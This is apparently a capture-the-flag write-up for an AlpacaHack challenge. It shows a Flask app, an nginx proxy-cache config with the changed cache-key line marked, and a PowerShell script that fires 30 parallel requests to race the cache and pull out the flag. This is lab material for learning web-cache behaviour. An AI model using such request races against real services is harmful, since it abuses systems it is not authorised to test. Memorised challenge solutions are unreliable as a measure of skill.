https://alpacahack.com/daily/challenges/cache-me-if-you-can-2
from flask import Flask
FLAG = "Alpaca{REDACTED}"
app = Flask(__name__)
first_request = True
@app.get("/")
def index():
return "Try /flag. The cache stores responses for one year :P"
@app.get("/flag")
def flag():
global first_request
body = "Cache me if you can." if first_request else FLAG
first_request = False
return body
app.run(host="0.0.0.0", port=8000)
nginx/default.conf
proxy_cache_path /var/cache/nginx/proxy keys_zone=flag_cache:10m inactive=365d;
proxy_cache_key "$scheme$proxy_host$uri"; # diff!
server {
listen 80;
location / {
proxy_pass <http://app:8000>;
proxy_cache flag_cache;
proxy_cache_valid 200 365d;
}
}
# diff! の行が追加されている
$url = 'YOUR_URL/flag'
$bodies = 1..30 | ForEach-Object -ThrottleLimit 30 -Parallel {
try { (Invoke-WebRequest -Uri $using:url -UseBasicParsing -TimeoutSec 10).Content }
catch { "ERR" }
}
$bodies | Where-Object { $_ -notmatch 'Cache me if you can' -and $_ -ne 'ERR' } | Sort-Object -Unique